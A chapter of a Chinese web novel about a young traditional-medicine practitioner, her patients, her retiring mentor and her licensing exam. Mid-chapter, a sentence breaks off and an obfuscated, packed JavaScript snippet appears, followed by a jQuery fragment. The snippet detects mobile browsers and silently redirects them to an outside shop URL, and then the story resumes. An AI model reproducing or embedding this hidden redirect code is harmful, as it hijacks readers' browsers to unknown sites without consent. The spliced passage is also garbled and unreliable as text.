十月的第三个周六，吴老太的女儿来了。沈渡没有刻意等，但她来的时候，沈渡一眼就看到了那件深红色的连衣裙。不是同一件，是另一件，颜色更深，像熟透了的樱桃。她在候诊区的椅子上坐了一小会儿，没有插队，轮到她了才走进来。
她把右手伸到脉枕上，沈渡把手指搭上去。脉弦，滑，比上周柔和了一点。沈渡又看了她的舌，舌红，苔薄黄，边有齿痕，比上周的苔薄了，黄了。热象还在，但痰湿化了一些。黄连温胆汤起效了。“睡得怎么样了？”“好了一点。以前躺下三四个小时都睡不着，现在一两个小时能睡着。但还是做梦，乱七八糟的梦，醒了还记得。”沈渡换了左手把脉，还是弦滑，力度减弱了。她在处方笺上写了几行字——黄连温胆汤加减，去竹茹，加茯神、远志、合欢皮。安神定志，交通心肾。
“你妈妈的降压药还在吃吗？”“在吃。社区医院开的，血压控制得还行。”沈渡把处方笺递给她。“你的方子我调了一下，去了一味药，加了三味。你再吃一周，下周来复诊。”吴老太的女儿接过处方笺看着上面的字。她的表情有一点犹豫，沈渡看出来了。
“你还有什么想问的吗？”
“我妈说你是好人。她让我来谢谢你。上次的事，她说是她吃了西瓜，不是你的药的问题。我脾气急，错怪你了。”沈渡看着她的手指在处方笺边缘来回摩挲，留下浅浅的折痕。“没事。你妈妈好了就行。”吴老太的女儿站起来，拿起桌上的处方笺，低头看了一眼，折了两折放进包里。她没有说“对不起”，没有说“谢谢”。沈渡不需要她说，她来复诊了，信任已经在那里了。
十月的第三个周三，沈渡跟林院长查房。省中医院的住院部走廊比平时安静，病人少了一些，床位空了几张。林院长说她下个月要退休了，沈渡听到这个消息时愣了一下。林院长没看她，继续往前走，走到病房门口才停下来。“你以后不用每周三来了，我退休了，不在门诊了。”沈渡跟在她身后，过了一会儿才问：“林院长，您退休了去哪？”林院长推开病房的门，病人还在等她。“在家。养花，看书，带孙子。”沈渡站在走廊里没有跟进去。她不知道自己以后还能不能跟林院长学东西，不知道林院长还愿不愿意教她。
下午沈渡去了贺老那里。枇杷树的叶子黄了大半，地上落了一层。贺老坐在廊下看书，戴着老花镜。沈渡在他旁边坐下来，树枝在风里轻轻晃动。
“林院长退休了。”
“她七十多了，该歇歇了。”
沈渡坐着，手里捧着贺老递过来的那杯热茶。“林院长说，她以后在家养花、看书、带孙子。”
“你呢？你以后想做什么？”
“想当医生。”
“当医生做什么？”
“看病。”
贺老看着她，看了一阵，把书合上放在膝盖上。“当医生不是为了看病，是为了治人。病是会复发的，人不会。”沈渡把这句话记住了，但她还没有完全懂。
周六义诊结束，沈渡去了赵大爷的便利店。赵大爷在收银台后面算账，看到她进来，从柜台下面掏出一瓶水放在台面上。“今天不渴。”她把那瓶水推回去。“大爷，您最近身体怎么样？”想了想，“还行。就是腿有点肿，早上起来好一点，下午就肿了。”沈渡蹲下来按了按他的小腿，凹陷性水肿，手指松开后，那个坑好一阵才弹回去。“大爷，您明天去医院查一下心功能和肾功能。腿肿可能是心衰，也可能是肾病。”赵大爷低头看着自己的腿。“知道了。”沈渡知道他可能会去，也可能不会。她能做的只是告诉他，去不去是他的决定。
傍晚沈渡去了陈媛家。陈媛的头发又长了一截，可以扎起来了。她今天穿了新衣服，说去复查的时候被护士夸了。沈渡问血象怎么样，她说都正常，就是血小板还有点低，医生说再观察。陈媛的丈夫在做菜，油烟机嗡嗡响，锅铲碰铁锅的声音从厨房传过来。
“沈渡，你那个帕金森病人，怎么样了？”
“手抖好了一点。但病还在发展，只能延缓不能根治。”
“你不怕吗？”
“怕什么？”
“怕他哪天突然不行了。”
沈渡没想过这个问题。她只想过怎么让他不抖，没想过他会死。他会死，每个人都会死。她治不了死，她只能治生。
十月的最后一个周三，沈渡没有去省中医院。林院长退休了，她不用去了。她去了图书馆，借了一本《助理医师资格考试真题解析》。她在自习室坐到傍晚，把内科学的真题做了一遍。做对的题她看一遍解析，做错的题画上圈，回家再做一遍。快闭馆的时候，她把书合上放进包里，走出图书馆。秋天的天黑得早，路灯已经亮了。
手机震了，裴衍的助理打来电话。说裴总今天摔了两次。沈渡握着手机站在路灯下，看着自己的影子从脚下一直延伸到马路中间。“他有没有骨折？”“没有，就是摔破了膝盖。他不想去医院，说自己在家里处理。”沈渡挂了电话，没有去裴衍那里。她不是急诊医生，帕金森病人摔倒是常事。她去了也没用，她不能二十四小时守着他。
周六，吴老太的女儿第三次来复诊。脉弦，不滑了。舌红，苔薄白了。沈渡把方子减了黄连、半夏，加了白术、茯苓，健脾益气。“下周不用来了。你好了。”吴老太的女儿看着她，隔着脉枕，两个人坐得很近。沈渡等着她开口，她说了句“谢谢”。沈渡点头，把处方笺递给她。她接过处方笺准备站起来，沈渡又说了一句：“以后如果还有不舒服，随时来。”
沈渡看着她的背影，深红色连衣裙消失在门口。她知道她可能不会来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17685927|206186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了，病好了就不来了。来不来是病人的事，治好了是医生的事。
十月底，沈渡开始准备助理医师考试的报名。需要学历证明、师承证明、工作证明。她跑了好几个部门，盖了好几个章。最后一个章盖下去的时候，那个工作人员看着她的材料，说了一句让她愣住的话：“你是贺正清的学生？”沈渡停了手里的动作。“您认识贺老？”“他是我的老师。我跟他学过三个月，后来没坚持下来。你替我向他问好。”
从卫健委出来，沈渡站在门口，阳光明晃晃地照在脸上。她想起贺老说过的——“你不是一个人。”她的师承关系、她的老师、她的病人、她的社区、她的急诊科，这些加在一起，不是“一个人”。她的路是很多人铺的，她踩着他们的脚印走，才能走得这么稳。
晚上沈渡给贺老打电话，说了卫健委那个工作人员的事，贺老不记得了。“教过太多学生了，记不住。”沈渡知道他不是记不住，是不想说。有些话不需要说，不说比说重。
十一月的一个周六，沈渡在社区义诊时接诊了一个让她意外的患者。不是吴老太的女儿，是裴衍。他坐着轮椅，被人推进来的，不是助理，是个护工。诊室里的人都看着他，他也看着他们。沈渡不知道他为什么来这里，他的私立医院比这里大得多。
“你以后不要来这里了。”沈渡把手指搭上他的脉，弦细，尺弱，比上周有力了。“我来看看你工作的样子。”沈渡把手指从他脉上移开，开的方子还是大定风珠加减，加僵蚕、地龙、川芎、丹参。裴衍接过处方笺看了很久，折好放进口袋。护工推着他走了。沈渡看着轮椅碾过地砖，轮子咕噜咕噜地响。她不知道他为什么要来，也许是想看看她是不是真的在救人，也许只是想出门透透气。她不需要知道，她需要知道的是他的脉比上周好了，药有效了。
傍晚沈渡去了徐敏家。念念十个月了，会爬会站会扶着墙走。徐敏说她已经摔了无数次了。沈渡把念念从地上抱起来，念念的小手抓着她衣服的领口，抓得很紧。沈渡看着她，想起裴衍说“你像一个人”——不知道像谁。也许是像年轻时的林院长，也许是像贺老逝去的女儿，也许是像裴衍自己曾经想成为但没有成为的人。她不知道，也不需要知道。像谁不重要，重要的是她是谁。
从徐敏家出来，天已经黑了。沈渡走在路灯下，影子从身后拉到了身前。她踩着影子走，影子比她快，怎么也踩不到。踩不到就不踩了，她抬起头，看着前方的路。路很长，灯很亮。
晚上沈渡没有看书，早早关了灯。窗外月亮很圆，月光从窗帘缝隙里挤进来。她把手伸进月光里，手心被照得发白。
晚安。月亮说。沈渡听到了，她闭上眼睛，把被子拉到下巴，嘴角动了一下。那个弧度不大，但够了。
（第六十二章完）